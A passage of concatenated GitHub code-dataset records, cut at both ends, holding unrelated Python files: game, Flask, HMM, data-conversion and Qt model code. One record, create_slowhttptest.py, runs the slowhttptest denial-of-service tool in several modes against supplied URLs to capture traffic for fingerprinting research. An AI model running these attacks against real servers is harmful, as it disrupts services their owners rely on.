predictionsIK,(4))\n\t#print('Accuracy Naive Bayes : ',accuracyNB)\n\tprint('Accuracy Imprecise Kernel : ',accuracyIK)\n\nmain()\n\n# Tableaau des identifiants des réponses :\n#0 = setosa\n#1 = versicolor\n#2 = virginica","repo_name":"g-dendiev/Density-estimation-with-imprecise-kernels-application-to-classification.","sub_path":"Test/ImpreciseKernelFromScratch.py","file_name":"ImpreciseKernelFromScratch.py","file_ext":"py","file_size_in_byte":23151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"75342917860","text":"import pygame as pg\nfrom level_data import *\nfrom setting import *\n\nclass Node(pg.sprite.Sprite):\n    def __init__(self, position, status, icon_speed, idx):\n        super().__init__()\n        self.image = pg.Surface((100, 80))\n        if status:\n            self.image = pg.image.load(levels[idx][LevelProperties.NODE_PNG()])\n            self.image = pg.transform.scale(self.image, (200, 200))\n        else:\n            self.image = pg.image.load(levels[idx][LevelProperties.NODE_LOCK()])\n            self.image = pg.transform.scale(self.image, (200, 200))\n        self.rect = self.image.get_rect(center = position)\n        self.detection_zone = pg.Rect(self.rect.centerx - (icon_speed / 2), self.rect.centery - (icon_speed / 2), icon_speed, icon_speed)\n\nclass Icon(pg.sprite.Sprite):\n    def __init__(self, position):\n        super().__init__()\n        self.position = position\n        self.image = pg.image.load(ICON_PATH)\n        self.image = pg.transform.scale(self.image, (100, 100))\n        self.rect = self.image.get_rect(center = position)\n        self.is_right = True\n        flipped_image = pg.transform.flip(self.image, True, False)\n        self.image = flipped_image\n    \n    def update(self):\n        self.rect.center = self.position\n    \n    def flip(self):\n        flipped_image = pg.transform.flip(self.image, True, False)\n        self.image = flipped_image\n\nclass Overworld:\n    def __init__(self, start_level, max_level, surface, create_level):\n        self.display_surface = surface\n        self.max_level = max_level\n        self.current_level = start_level\n        self.create_level = create_level\n        \n        self.move_direction = pg.math.Vector2(0, 0)\n        self.speed = 18\n        self.is_moving = False\n        \n        self.setup_nodes()\n        self.setup_icon()\n    \n    def setup_nodes(self):\n        self.nodes = pg.sprite.Group()\n        \n        for node_idx, node_data in enumerate(levels.values()):\n            if node_idx <= self.max_level:\n                node_sprite = Node(node_data[LevelProperties.NODE_POS()], True, self.speed, node_idx)\n            else:\n                node_sprite = Node(node_data[LevelProperties.NODE_POS()], False, self.speed, node_idx)\n            self.nodes.add(node_sprite)\n\n    def draw_path(self):\n        points = [node[LevelProperties.NODE_POS()] for idx, node in enumerate(levels.values()) if idx <= self.max_level]\n        if len(points) < 2:\n            return\n        pg.draw.lines(self.display_surface, 'white', False, points, width=30)\n        pg.draw.lines(self.display_surface, 'black', False, points, width=20)\n\n    def setup_icon(self):\n        self.icon = pg.sprite.GroupSingle()\n        icon_sprite = Icon(self.nodes.sprites()[self.current_level].rect.center)\n        self.icon.add(icon_sprite)\n\n    def gather_input(self):\n        keys = pg.key.get_pressed()\n        \n        if not self.is_moving:\n            if keys[pg.K_RIGHT] and self.current_level < self.max_level:\n                self.move_direction = self.get_movement_data(1)\n                self.current_level += 1\n                self.is_moving = True\n                if not self.icon.sprite.is_right:\n                    self.icon.sprite.flip()\n                self.icon.sprite.is_right = True\n            elif keys[pg.K_LEFT] and self.current_level > 0:\n                self.move_direction = self.get_movement_data(-1)\n                self.current_level -= 1\n                self.is_moving = True\n                if self.icon.sprite.is_right:\n                    self.icon.sprite.flip()\n                self.icon.sprite.is_right = False\n            elif keys[pg.K_RETURN]:\n                self.create_level(self.current_level)\n    \n    def restart(self):\n        self.create_level(self.current_level)\n    \n    def get_movement_data(self, move_factor):\n        start = pg.math.Vector2(self.nodes.sprites()[self.current_level].rect.center)\n        idx = self.current_level + move_factor \n        if idx > len(self.nodes.sprites()) - 1:\n            idx = len(self.nodes.sprites()) - 1\n        if idx < 0:\n            idx = 0\n        end = pg.math.Vector2(self.nodes.sprites()[idx].rect.center)\n        vec = end - start\n        if vec.length() == 0:\n            return vec\n        return (end - start).normalize()\n    \n    def update_icon_position(self):\n        if self.is_moving and self.move_direction:\n            self.icon.sprite.position += self.move_direction * self.speed;\n            target_node = self.nodes.sprites()[self.current_level]\n            if target_node.detection_zone.collidepoint(self.icon.sprite.position):\n                self.is_moving = False\n                self.move_direction = pg.math.Vector2(0, 0)\n\n    def run(self):\n        self.gather_input()\n        self.update_icon_position()\n        self.draw_path()\n        self.nodes.draw(self.display_surface)\n        self.icon.update()\n        self.icon.draw(self.display_surface)","repo_name":"henry1599/Pygame_Assignment_2","sub_path":"Btl3/_source/overworld.py","file_name":"overworld.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20198183218","text":"import sqlite3\nimport html2text\nimport re\nfrom datetime import datetime\nimport os\n\n\nclass TenderWeightCalculator:\n    def __init__(self, db_file='mydatabase.db'):\n        script_dir = os.path.dirname(os.path.abspath(__file__))\n        self.db_file = os.path.join(script_dir, db_file)\n\n    def count_weight(self, target_text, conn):\n        cursor = conn.cursor()\n        # 遍历词汇表中的每个单词，并将匹配的 w 值进行累加\n        total_weight = 0\n        for row in cursor.execute(\"SELECT word, w FROM dictionary\"):\n            if re.search(row[0], target_text):\n                print(\"匹配到关键词：\", row[0], \"，w 值为：\", row[1])\n                total_weight += row[1]\n\n        # 返回总 w 值汇总分数\n        return total_weight\n\n    def update_tender_weight(self, refresh_all=False):\n        # 连接 SQLite 数据库\n        conn = sqlite3.connect(self.db_file)\n\n        # 扫描所有字段 has_crawled>=1 的数据\n        print(\"Scanning records...\")\n        now = datetime.now()\n        today = now.strftime(\"%Y-%m-%d\")\n        if refresh_all:  # 刷新所有数据\n            sql = f\"SELECT id, title, weight, href, html FROM tender WHERE has_crawled >= 1\"\n        else:  # 只刷新今天的数据\n            sql = f\"SELECT id, title, weight, href, html FROM tender WHERE post_date = '{today}' AND \" \\\n                  f\"has_crawled >= 1 AND weight is null\"\n        cursor = conn.execute(sql)\n        rows = cursor.fetchall()\n        print(f\"Found {len(rows)} records.\")\n\n        # 逐条将字段 html 的内容转为纯文字，并把 weight 累加起来\n        print(\"Updating record weights...\")\n\n        for i, row in enumerate(rows):\n            id, title, weight, href, html = row\n            # print(row)\n            if html:\n                text = html2text.html2text(html)\n                total_weight = self.count_weight(title + text, conn)\n\n                print(f\"{i + 1}. 标题：{title}，权重值：{total_weight}，链接：{href}\")\n\n                # 更新 tender 表 weight 字段的值\n                sql = f\"UPDATE tender SET weight = {total_weight} WHERE id = {id}\"\n                conn.execute(sql)\n\n        # 提交事务\n        conn.commit()\n        print(\"Update complete.\")\n\n        # 关闭数据库连接\n        conn.close()\n\n\nif __name__ == '__main__':\n    print(\"Updating tender weights...\")\n    tender_calc = TenderWeightCalculator()\n    tender_calc.update_tender_weight(refresh_all=False)\n","repo_name":"Mykeyb2004/tenderspider","sub_path":"tender_weight.py","file_name":"tender_weight.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3931080717","text":"from flask import Flask, render_template, request\nfrom src.pipeline.predict_pipeline import PredictPipeline\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nimport math\n\napp = Flask(__name__)\n\n \nairline_names = ['Air India','Air Asia', 'Spice Jet','Indigo','GoAir','Jet Airways','Jet Airways Business','Multiple carriers', 'Multiple carriers Premium economy','Trujet', 'Vistara', 'Vistara Premium economy']\nsources = ['Banglore','Kolkata','Delhi','Chennai','Mumbai']\ndestination = ['New Delhi','Banglore','Cochin','Kolkata','Delhi','Hyerbad']\nstops = ['non-stop','1 stop','2 stops','3 stops','4 stops']\n@app.route('/',methods=['GET','POST'])\ndef home():\n    return render_template('index.html',airways=airline_names,source = sources,destination=destination,stops=stops)\n\n@app.route('/predict',methods=['GET','POST'])\ndef predict():\n    print('predicting...')\n    print(request.method)\n    if request.method == 'POST':\n        airway= request.form.get('Airline')\n        date = request.form.get('date')\n        source = request.form.get('Source')\n        destination = request.form.get('Destination')\n        dep_time = request.form.get('dep_time')\n        arr_time = request.form.get('arr_time')\n        stops = request.form.get('Total_Stops')\n\n        \n   \n        \n        \n        dl = date.split('-')\n        date = dl[2]+'/'+dl[1]+'/'+dl[0]\n        print(date)\n        print(dep_time,',',arr_time)\n        dur = f\"{abs(int(arr_time.split(':')[0])- int(dep_time.split(':')[0]))}h {abs(int(arr_time.split(':')[1]) - int(dep_time.split(':')[1]))}m\"\n        print(dur) \n        data = {\n            \"Airline\" : airway,\n            \"Date_of_Journey\" : date,\n            \"Source\" : sources,\n            \"Destination\" : destination,\n            \"Route\" : \"route\",\n            \"Dep_Time\" : dep_time,\n            \"Arrival_Time\" : arr_time,\n            \"Duration\" : dur,\n            \"Total_Stops\" : stops,\n            \"Additional_Info\" : \"info\"\n        }\n        df = pd.DataFrame(data)\n        pred = PredictPipeline().predict(df.iloc[0])\n        print(pred)\n        \n\n\n        \n        return render_template('predict.html',h1=math.ceil(pred[0]))\n    else:\n        return render_template('predict.html',h1='error')\n\n\nif __name__ == '__main__':\n    app.run(debug=True,host='0.0.0.0',port=5000)","repo_name":"RajAgarwal0108/flight_fare_predictions","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31773656604","text":"# URI 1009 em Python 3.9\n# Programador: Matheus Felipe Alves Durães\n# Não copie códigos, apenas leia-os e\n# tente entender O QUE e POR QUE fazem o que fazem. \n\ndef main():\n    # Variavel nome recebe uma string do nome da pessoa\n    nome = input()\n\n    # Variavel salario_fixo recebe um valor float do salario fixo\n    salario_fixo = float(input()) \n\n    # Variavel vendas recebe um valor float das vendas dele\n    vendas = float(input())\n\n    # Salario final é a soma do salario fixo com 15% das vendas\n    salario_final = salario_fixo + (vendas * 0.15)\n\n    # Imprimindo os resultados \n    # PS: %.2f para imprimir somente 2 casas decimais do float\n    print(\"TOTAL = R$ %.2f\" %(salario_final) )\n\nmain()","repo_name":"Mat780/URI-Beecrowd","sub_path":"Python/1000-1999/1009.py","file_name":"1009.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39755478491","text":"import math\nimport itertools\nimport json\n\ndef load_hmm_data(filepath):\n    with open(filepath, 'r') as file:\n        data = json.load(file)\n    return data\n\ndef is_valid_emission(emission_sequence, emission_symbols):\n    return all(symbol in emission_symbols for symbol in emission_sequence)\n\ndef is_valid_transition(sequence, transition_matrix, state_symbols, initial_probabilities):\n    n = len(sequence)\n    m = 0\n    is_possible = True\n    \n    if abs(initial_probabilities[state_symbols.index(sequence[0])]) < 1e-10:\n        is_possible = False\n    \n    while m < n - 1 and is_possible:\n        i = state_symbols.index(sequence[m])\n        j = state_symbols.index(sequence[m + 1])\n        \n        if abs(transition_matrix[i][j]) < 1e-10:\n            is_possible = False\n        \n        m += 1\n    \n    return is_possible\n\ndef find_emission_states(emission, emission_matrix, emission_symbols, num_states):\n    emission_index = emission_symbols.index(emission)\n    emitting_states = set()\n    \n    for i in range(num_states):\n        if abs(emission_matrix[i][emission_index]) >= 1e-10:\n            emitting_states.add(i)\n    \n    return emitting_states\n\ndef calculate_sequence_probability(state_sequence, emission_sequence, state_symbols, emission_symbols, transition_matrix, emission_matrix, initial_probabilities):\n    sequence_length = len(state_sequence)\n    probability = initial_probabilities[state_symbols.index(state_sequence[0])]\n\n    for i in range(sequence_length):\n        row_transition = state_symbols.index(state_sequence[i - 1]) if i > 0 else -1\n        col_transition = state_symbols.index(state_sequence[i])\n        col_emission = emission_symbols.index(emission_sequence[i])\n\n        prob_transition = 1.0 if row_transition == -1 else transition_matrix[row_transition][col_transition]\n        prob_emission = emission_matrix[col_transition][col_emission]\n\n        probability *= prob_transition * prob_emission\n\n    return probability\n\ndef hmm_path_finder():\n    filepath = input(\"Enter the file path for HMM data: \")\n    data = load_hmm_data(filepath)\n    \n    state_symbols = data['states']\n    emission_symbols = data['emissions']\n    transition_matrix = data['transition_matrix']\n    emission_matrix = data['emission_matrix']\n    initial_probabilities = data['initial_probabilities']\n\n    while True:\n        emission_sequence = input(\"Enter the next emission sequence (type 'exit' to quit): \")\n        \n        if emission_sequence == \"exit\":\n            break\n        \n        if is_valid_emission(emission_sequence, emission_symbols):\n            possible_transitions = []\n            emission_sequence_length = len(emission_sequence)\n            \n            emission_state_sets = []\n            for symbol in emission_sequence:\n                emission_state_sets.append(find_emission_states(symbol, emission_matrix, emission_symbols, len(state_symbols)))\n            \n            cartesian_product_states = list(itertools.product(*emission_state_sets))\n            \n            for transition in cartesian_product_states:\n                if is_valid_transition([state_symbols[state] for state in transition], transition_matrix, state_symbols, initial_probabilities):\n                    possible_transitions.append(transition)\n            \n            state_probability_pairs = []\n            max_probability_sequence = ('', 0.0)\n            \n            for path in possible_transitions:\n                probability = calculate_sequence_probability([state_symbols[state] for state in path], emission_sequence, state_symbols, emission_symbols, transition_matrix, emission_matrix, initial_probabilities)\n                state_sequence = [state_symbols[state] for state in path]\n                state_probability_pairs.append((state_sequence, probability))\n                print(\"Next probable sequence is:\", state_sequence, \"with probability:\", probability)\n                \n                if max_probability_sequence[1] < probability:\n                    max_probability_sequence = (state_sequence, probability)\n            \n            print(\"Maximum probability sequence is:\", max_probability_sequence[0], \"with probability:\", max_probability_sequence[1])\n        else:\n            print(\"Invalid emission sequence. Please enter a valid sequence.\")\n   \nhmm_path_finder()\n","repo_name":"jaswanth434/AI_algorithms","sub_path":"hmm_new.py","file_name":"hmm_new.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27769671","text":"import numpy as np\r\nfrom matplotlib import pyplot as plt\r\n# 实现折线形式的随机漫步\r\n# n = int(input(\"请输入你想要慢步的次数\"))\r\n# y_values = []\r\n# for y in range(0,n):\r\n#     y_values.append(np.random.sample())\r\n# x_values = [x for x in np.arange(0,n)]\r\n# plt.figure()\r\n# plt.plot(x_values,y_values,linewidth=1,color='red')\r\n# plt.show()\r\n\r\n#随机点式的漫步：\r\n#如上换成scatter就可以了。，\r\n# 注意点的随机漫步也要随机x轴\r\nn = int(input(\"请输入你想要漫步的次数：\"))\r\nx_values = []\r\ny_values = []\r\nfor x in range(n):\r\n    x_values.append(np.random.randint(low=-2,high=3))\r\nx = np.cumsum(x_values)\r\nfor y in range(n):\r\n    y_values.append(np.random.rand())\r\ny = np.cumsum(y_values)\r\nplt.figure()\r\nplt.scatter(x,y,edgecolors='blue')\r\nplt.show()\r\n","repo_name":"mushroomouou/Python","sub_path":"Numpy/Randomwalk.py","file_name":"Randomwalk.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71517709861","text":"#!/usr/bin/python3\nfrom argparse import ArgumentParser\nfrom os import system\nfrom subprocess import Popen\nfrom time import sleep\n\ndelay = 5\nmodes = [\"H\", \"B\", \"R\", \"X\"]\n\n# Parses the input arguments.\nparser = ArgumentParser(description=\"Generates the SlowHTTPTest pcap file\")\nparser.add_argument(\"--app\", default=\"slowhttptest-1.6\", help=\"the name of the application\")\nparser.add_argument(\"--os\", default=\"linux-4.17.0\", help=\"the name of the OS\")\nparser.add_argument(\"--folder\", default=\".\", help=\"the folder that will contain the produced pcap file\")\nparser.add_argument(\"urls\", help=\"the comma separated list of target URLs\")\nargs = parser.parse_args()\n\n# Builds the URL list.\nurls = args.urls.split(\",\")\n\n# Captures the traffic.\n# pcap = \"%s/%s_%s_none.pcap\" % (args.folder, args.app, args.os)\n# system(\"tshark -Q -F libpcap -w %s \\\"tcp and (port 443 or port 80)\\\" &> /dev/null &\" % pcap)\nfor mode in modes:\n    # Builds the URL list.\n    print(\"Mode %s\" % mode)\n    print(\"%d URLs\" % len(urls))\n    pcap = \"%s/%s-%s_%s_none.pcap\" % (args.folder, args.app, mode, args.os)\n    system(\"tshark -Q -F libpcap -w %s \\\"tcp and (port 443 or port 80)\\\" &> /dev/null &\" % pcap)\n    sleep(delay)\n    count = 1\n    for i in urls:\n        print(\"%d) %s\" % (count, i))\n        pid = Popen([\"slowhttptest\", \"-%s\" % mode, \"-u\", i]).pid\n        sleep(60)\n        system(\"killall slowhttptest\")\n        count += 1\n    sleep(delay)\n    system(\"killall tshark\")\n    sleep(delay)\n","repo_name":"daniele-canavese/fingerprinting","sub_path":"traffic/create_slowhttptest.py","file_name":"create_slowhttptest.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10046376079","text":"import os\nimport argparse\nimport pandas\nimport sys\nimport shutil\nimport re\nfrom subprocess import Popen\n\nimport func as mcfn\n\n# Preliminaries\npyenv, bashenv, mercuryOG_path, rslts_path = mcfn.read_envfile(\"envfile.txt\", \"all\")\n\nif rslts_path.endswith(\"/\"):\n    rslts_path = rslts_path[:-1]\nif mercuryOG_path.endswith(\"/\"):\n    mercuryOG_path = mercuryOG_path[:-1]\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--files', '-f',\n                    dest='files',\n                    action='store')\nargs = parser.parse_args()\n\noptions = args.files\nftype, rang = options.split(\",\")\n\n# Get relevant output files and their destination after conversion\noutputs = os.listdir(\"{}/outputs/\".format(rslts_path))\noutputs = mcfn.sort(outputs, ftype, rang)\ndestination = \"{}/converted_outputs\".format(rslts_path)\nif not os.path.exists(destination):\n    os.mkdir(destination)\n\n# Rename output files, convert, rename and move to destination\nfor outfile in outputs:\n    shutil.copyfile(\"{}/outputs/{}\".format(rslts_path, outfile),\n            \"converter/{}\".format(outfile[-6:]))\n    ftype = outfile[-6:-4]\n    k = outfile[:-7]\n    if ftype == \"xv\":\n        os.system(\"(cd converter/; ./element6)\")\n        ext = \".aei\"\n    elif ftype == \"ce\":\n        os.system(\"(cd converter/; ./close6)\")\n        ext = \".clo\"\n    convfiles = [file for file in os.listdir(\"converter/\") if file.endswith(ext)]\n    [shutil.copyfile(\"converter/{}\".format(file), \"{}/{}-{}\".format(destination, k, file))\n            for file in convfiles]\n\n    # clean converter directory\n    [os.remove(\"converter/{}\".format(file)) for file in convfiles]\n    [os.remove(\"converter/{}\".format(file)) for file in os.listdir(\"converter/\")\n            if file.endswith(\".out\")]\n","repo_name":"adamkoval/gui_MERCURY","sub_path":"mcm/convert_files.py","file_name":"convert_files.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30902287592","text":"# -----------------------------------------------------------------------------\n# Name:        HaulsModel.py\n# Purpose:     Model for Hauls and Sets (Observer)\n#\n# Author:      Will Smith <will.smith@noaa.gov>\n#\n# Created:     Feb 24, 2016\n# License:     MIT\n# ------------------------------------------------------------------------------\n\n\nimport textwrap\n\nfrom playhouse.shortcuts import model_to_dict\nfrom PyQt5.QtCore import pyqtSlot\n\nfrom py.common.FramListModel import FramListModel\nfrom py.common.FramUtil import FramUtil\nfrom py.observer.ObserverDBModels import FishingActivities, FishingLocations\n\n\nclass HaulSetModel(FramListModel):\n    \"\"\"\n    Contains multiple FishingActivities\n    \"\"\"\n\n    GEAR_TYPE_TRAWL = \"Trawl\"\n    GEAR_TYPE_FIXED_GEAR = \"Fixed Gear\"\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        for role_name in self.haul_set_rolenames:\n            self.add_role_name(role_name)\n\n    @property\n    def haul_set_rolenames(self):\n        \"\"\"\n        :return:\n        \"\"\"\n        rolenames = FramUtil.get_model_props(FishingActivities)\n        # Add additional roles not specified in DB (e.g. Vessel Name, to be acquired via FK)\n        rolenames.append('trip_id')\n        rolenames.append('target_strategy_code')\n        rolenames.append('location_start_end')\n        rolenames.append('errors')\n        return rolenames\n\n    def most_recent_haul_set_id(self):\n        \"\"\"\n        Get empty haul if empty, or newest haul in the list\n        Useful for deletions\n        TODO db ID instead?\n        :return: string '-1' if no hauls, haul_id otherwise\n        \"\"\"\n        if self.count == 0:\n            return '-1'\n        else:\n            lastitem = self.items[-1]\n            return lastitem['fishing_activity_num']\n\n    def add_haul(self, db_model):\n        \"\"\"\n        :param db_model: peewee model object (cursor) created elsewhere (in Hauls)\n        :return: FramListModel index of new trip (int)\n        \"\"\"\n        try:\n            newhaul = self._get_haul_set_dict(db_model)\n            newidx = self.appendItem(newhaul)\n            self._logger.debug('Added haul #' + str(newhaul['fishing_activity_num']))\n            return newidx\n\n        except ValueError as e:\n            self._logger.error('Error adding new haul ' + str(e))\n            return -1\n\n    def add_set(self, db_model):\n        \"\"\"\n        :param db_model: peewee model object (cursor) created elsewhere (in Hauls)\n        :return: FramListModel index of new trip (int)\n        \"\"\"\n        try:\n            newset = self._get_haul_set_dict(db_model)\n            newidx = self.appendItem(newset)\n            self._logger.debug('Added set #' + str(newset['fishing_activity_num']))\n            return newidx\n\n        except ValueError as e:\n            self._logger.error('Error adding new set ' + str(e))\n            return -1\n\n    def remove_haul_set(self, activity_id):\n        \"\"\"\n        :param activity_id: ID of haul or set (int) to axe\n        \"\"\"\n        try:\n            # Delete from FramListModel\n            model_idx = self.get_item_index('fishing_activity', activity_id)\n            if model_idx >= 0:\n                self.remove(model_idx)\n                return True\n            else:\n                self._logger.error('Unable to find and remove haul/set {} from model.'.format(activity_id))\n        except ValueError as e:\n            self._logger.error('Error deleting haul/set: ' + str(e))\n        return False\n\n    def get_fishing_num_index(self, fishing_num):\n        return self.get_item_index('fishing_activity_num', fishing_num)\n\n    def get_haul_set_index(self, activity_id):\n        return self.get_item_index('fishing_activity', activity_id)\n\n    def _get_haul_set_dict(self, db_model):\n        \"\"\"\n        Build a dict that matches HaulsModel out of a peewee model\n        Purpose is for storing peewee model <-> FramListModel\n        :param db_model: peewee model to convert\n        :return: dict with values translated as desired to be FramListModel friendly\n        \"\"\"\n        haul_set_dict = model_to_dict(db_model)\n\n        # Rename from model-> dict:\n        # hauldict['new_thing'] = hauldict.pop('old_thing')\n        # Add ID's for reference, if needed...\n        # hauldict['trip_id'] = db_model.trip.trip\n        haul_set_dict['target_strategy_code'] = \\\n            db_model.target_strategy.catch_category_code if db_model.target_strategy else None\n        start, end = self._get_haul_set_start_end(db_model.fishing_activity)\n        haul_set_dict['location_start_end'] = textwrap.fill('{} to {}'.format(start, end), width=20)\n        haul_set_dict['errors'] = ''\n\n        return haul_set_dict\n\n    @pyqtSlot(int, result='QVariant', name='getLocationData')\n    def get_location_data(self, activity_id):\n        \"\"\"\n        Get Set/Up/Location info\n        @param activity_id: DB ID\n        @return: 2D Array built from Set/Up/# locations\n        \"\"\"\n        self._logger.info('Loading FishingLocationsModel for haul ID {}'.format(activity_id))\n        location_data_var = []\n        locs_q = FishingLocations.select().where(FishingLocations.fishing_activity == activity_id)\n        if len(locs_q) > 0:\n            for loc in locs_q:  # Build FramListModel\n                date_str, time_str = loc.location_date.split(' ')\n                lat_deg, lat_min = FramUtil.convert_decimal_degs(loc.latitude)\n                long_deg, long_min = FramUtil.convert_decimal_degs(loc.longitude)\n                location_data_var.append({\n                    'haul_db_id': loc.fishing_activity.fishing_activity,  # id\n                    'loc_id': loc.fishing_location,\n                    'position': loc.position,  # position -1, 0, ... (Set, Up, etc)\n                    'date_str': date_str,\n                    'time_str': time_str,\n                    'lat_deg': lat_deg,\n                    'lat_min': lat_min,\n                    'long_deg': long_deg,\n                    'long_min': long_min,\n                    'depth': loc.depth\n                })\n\n        return location_data_var\n\n    def _get_haul_set_start_end(self, activity_id):\n        # locs_q = FishingLocations.select().where(FishingLocations.fishing_activity == haul_id)\n\n        start_loc = self.get_loc_set(activity_id)\n        end_loc = self.get_loc_up(activity_id)\n        set_str = '{}'.format(start_loc.location_date) if start_loc else '-'\n        # FIELD-846, use start date if no end date\n        up_str = '{}'.format(end_loc.location_date) \\\n            if end_loc else ('({})'.format(set_str) if start_loc else '-')\n        return set_str, up_str\n\n    @staticmethod\n    def _get_haul_set_loc(activity_id, position):\n        try:\n            loc = FishingLocations.get(FishingLocations.fishing_activity == activity_id,\n                                       FishingLocations.position == position)\n        except FishingLocations.DoesNotExist:\n            loc = None\n        return loc\n\n    @pyqtSlot(int, result='QVariant', name='getLocationSet')\n    def get_loc_set(self, haul_id):  # start of haul\n        return self._get_haul_set_loc(haul_id, -1)\n\n    @pyqtSlot(int, result='QVariant', name='getLocationUp')\n    def get_loc_up(self, haul_id):  # end of haul\n        return self._get_haul_set_loc(haul_id, 0)\n","repo_name":"nwfsc-fram/pyFieldSoftware","sub_path":"py/observer/HaulSetModel.py","file_name":"HaulSetModel.py","file_ext":"py","file_size_in_byte":7249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"16321438609","text":"from receptors import *\nfrom processors import *\nfrom event import *\nfrom datasource import *\nimport logging \n\nclass InstanceFactory(object):\n    \"\"\"\n    Factory and Registry class that can register object instances and \n    matches instance references (@id in config files)\n\n    @author Jannis Mosshammer <jannis.mosshammer@netways.de>\n    \"\"\"\n\n\n    def __init__(self, config):\n        \"\"\"\n        Initialize with the base edbc.cfg file as a starting point.\n        The section global will be ignored here.\n        \"\"\"\n        self.config = config\n        self.deferred = {}\n        instanceDefs = self.config.get_instance_definitions()\n        self.instances = { \"all\": {} }\n        for instance_id in instanceDefs:\n            if instance_id == \"global\":\n                continue\n            cfg_object = instanceDefs[instance_id]\n            self.register(instance_id, cfg_object)\n            \n        logging.debug(\"Registered %i instances\", len (self.instances[\"all\"]))\n\n\n    def defer_registration(self, required, args):\n        \"\"\" If an instance can' t be registered, because dependencies are missing\n            registration will be deferred until the dependencies are met\n        \"\"\"\n        if not required in self.deferred:\n            self.deferred[required] = []\n\n        self.deferred[required].append(args)\n       \n    def apply_template(self, cfg_object):    \n        \"\"\" Reads the basic config of the parent instance and applies it to the given cfg_object\n            \n        \"\"\"\n        parent = self.__getitem__(cfg_object[\"template\"])\n        for i in parent.base_config:\n            if not i in cfg_object:\n                cfg_object[i] = parent.base_config[i]\n   \n    def register(self, instance_id, cfg_object, factory_fn = None):\n        \"\"\"\n        Registers an object cfg_object with the identifier id. \n        the cfg_object is expected to have a class attribute, which will be registered and \n        used for instance creation.\n        \n        If factory_fn is given, this will be called (class is \n        only being registered here and not used for instance creation), otherwise \n        %class%.setup(id, cfg_object) is called.\n\n        Instances look like\n        {\n            \"class\": \"CLASSNAME\",\n            \"type\" : \"typename\",\n            \"arg1\" : \"argval1\"\n            ...\n            \"argN\" : \"argvalN\"\n            \"ref1\" : \"@referencedId\"\n        }\n\n        \"\"\" \n        # type myType and class myClass will be called MyTypeMyClass()\n        required = self.resolve_references(cfg_object)\n        if required != None:\n            self.defer_registration(required,(instance_id, cfg_object, factory_fn))\n            return False\n        \n        r = None\n        \n        if \"template\" in cfg_object:\n            if not cfg_object[\"template\"] in self.instances[\"all\"]:\n                self.defer_registration(required,(instance_id, cfg_object, factory_fn))\n                return False\n            else:\n                self.apply_template(cfg_object)\n            \n        if not cfg_object[\"class\"] in self.instances:\n            self.register_class(cfg_object[\"class\"])\n        \n        if factory_fn == None:\n            # Default factory using the setup method\n            instance_cls = cfg_object[\"class\"].capitalize()\n            configname = cfg_object[\"type\"].capitalize()+instance_cls\n            if not configname in globals():\n                logging.error(\"Couldn't find %s, %s won't work.\", configname, instance_id)\n                return False\n            \n            r = globals()[configname]()\n            \n            logging.debug(\"Instance of %s : %s (instance_id=%i)\", instance_id, r, id(r))\n            r.setup(instance_id, cfg_object)\n        else:\n            # Pass instance creation to factory function\n            r = factory_fn(instance_id, cfg_object)\n        try: \n            r.base_config = cfg_object\n        except:\n            pass\n        self.instances[cfg_object[\"class\"]][instance_id] = r    \n        self.instances[\"all\"][instance_id] = r \n        self.handle_unresolved(instance_id)\n        return True\n        \n    def handle_unresolved(self, instance_id):\n        \"\"\" Checks if deferred registrations can now be completed and completes them if so\n        \n        \"\"\"          \n        if \"@\"+instance_id in self.deferred:\n\n            unmatched = []\n            while self.deferred[\"@\"+instance_id]:\n                item = self.deferred[\"@\"+instance_id].pop()\n                if not self.register(item[0], item[1], item[2]):\n                    unmatched.append(item)\n            if unmatched:\n                self.deferred[\"@\"+instance_id] = unmatched\n            else:\n                del self.deferred[\"@\"+instance_id]\n    \n        \n    def has_unmatched_dependencies(self):\n        \"\"\" Returns true if there are instances waiting for dependencies to be fully registered\n\n        \"\"\"\n        logging.debug(self.deferred)\n        return len(self.deferred) > 0\n\n    def resolve_references(self, cfgobject):\n        \"\"\" resolves config variables beginning with @, i.e. refrences to other instances\n\n        \"\"\"\n        for i in cfgobject:\n            if not isinstance(cfgobject[i], basestring):\n                continue\n            if cfgobject[i].startswith('@'):\n                resolved = self.__getitem__(cfgobject[i])\n                if not resolved:\n                    return cfgobject[i]\n                cfgobject[i] = resolved\n\n    def register_class(self, classname):\n        \"\"\" Registers the class with classname in the factories instances list and creates a\n            get%Classname% method to allow convenient access\n\n        \"\"\"\n        classname = classname.strip()\n        self.instances[classname] = {}\n        \n        # register class methods so they are available with get%CLASS%(id)\n        getter = lambda id: self.instances[classname][(id, id[1:])[id[0] == '@']]\n        getter.__name__ = \"get\"+classname.capitalize()\n        setattr(self, getter.__name__, getter)\n        \n        # register getAll%Class%Instances method\n        getter = lambda : self.instances[classname]\n        logging.debug(\"Registering %s \", \"getAll\"+classname.capitalize()+\"Instances\")\n        getter.__name__ = \"getAll\"+classname.capitalize()+\"Instances\"\n        setattr(self, getter.__name__, getter)\n\n    def getAllChainInstances(self):\n        if \"chain\" in self.instances:\n            return 